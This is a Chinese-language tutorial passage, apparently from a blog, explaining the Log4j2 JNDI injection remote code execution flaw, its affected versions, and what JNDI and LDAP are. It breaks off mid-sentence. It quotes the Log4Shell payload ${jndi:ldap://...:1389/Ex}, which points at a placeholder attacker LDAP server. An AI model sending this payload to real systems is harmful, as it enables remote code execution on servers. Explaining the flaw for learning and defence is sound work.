目录
1.背景
部分资源在文章最后百度网盘
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。
1.1影响版本
Log4j2.x<=2.14.1
2.漏洞原理
我们在很多漏洞复现文章看到构造的payload是这样的${jndi:ldap://xxx.xxx.xxx.xxx:1389/Ex},很多时候看不懂为什么要这样构造,最起码我在学习这个漏洞的时候我是不知道为什么这样构造payload。如果你刚接触安全不久,我相信你也会有这样的疑惑,那么下面我就用我的理解解释一下,大家参考,不一定全部都是对的。
2.1JNDI是什么
JNDI全称是Java Naming and Directory Interface(java命名和目录接口)JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
我简单说一下它就像一个映射关系库,里面有很多资源,每个资源对应一个名字,当我查看这个名字时候,就会提供对应资源。将资源和名字进行了一对一映射。一些基本操作,发布服务bind(),查找服务lookup()。
2.2LDAP是什么
LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库,不过它是树状结构的,树形结构存储数据,查询效率更高。如果你想找到一个苹果,需要跟园丁说那个树,经过那些分叉以及苹果名字。有的时候分叉不止一个。
树(dc=ljheee)
分叉(ou=bei,ou=xi,ou= dong)
苹果(cn=redApple)
LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。我们通过LDAP协议去访问。
所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Ex}就相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是你LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,EX是一个不存在的文件名
2.3JNDI注入原因
第一个是由于JN